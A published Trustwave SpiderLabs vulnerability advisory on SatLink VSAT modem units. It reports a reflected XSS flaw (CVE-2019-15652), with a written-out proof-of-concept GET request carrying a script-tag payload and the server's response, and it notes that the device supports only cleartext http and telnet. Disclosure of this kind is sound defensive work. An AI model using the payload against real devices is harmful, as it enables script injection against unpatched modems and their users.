Trustwave SpiderLabs Security Advisory TWSL2019-010: Multiple Vulnerabilities in SatLink VSAT Modem Units (vmu) Published: 11/21/19 Version: 1.0 Vendor: NSSLGLOBAL Technologies AS Product: SatLink VSAT Modem Units (vmu) (http://www.sat.link/index.php/slproducts/satlink-vsats) Version affected: prior to version 18.1.0 Product description: DVB-RCS2 certified VSAT modems for DVB-S2 forward links, routing and QoS. Finding 1: Reflected Cross-Site Scripting (XSS) Credit: Robert Foggia of Trustwave CVE: CVE-2019-15652 CWE: CWE-79 The web interface for SatLink VSAT Modem Units doesn't properly sanitize input for error messages. Since this value is not properly sanitized it allows the ability to inject client-side code. The following GET request demonstrates the proof-of-concept of this vulnerability (verified on SatLink 2000 sw 16.0.1.57): -------------------------REQUEST------------------------- GET /wmi/dwp/index_page.dwp/%3Cscript%3Ealert('xss')%3C/script%3E HTTP/1.1 Host: a.b.c.d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic xxxxxxxxxxxx= Connection: close -------------------------RESPONSE------------------------- HTTP/1.0 200 OK Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache Content-type: text/html

Unable to find script index_page.dwp/

Finding 2: Insecure Protocol Usage Credit: Robert Foggia of Trustwave The device only supports insecure protocols such as http and telnet. An attacker could sniff for credentials or other sensitive information over the wire. Remediation Steps: Upgrade to SatLink VMU SW version 18.1.0 or the latest stable version. Please note that Trustwave has not verified the fixes. Revision History: 05/15/2019 - Vulnerability disclosed to vendor 11/07/2019 - Patch released by vendor 11/21/2019 - Advisory published About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.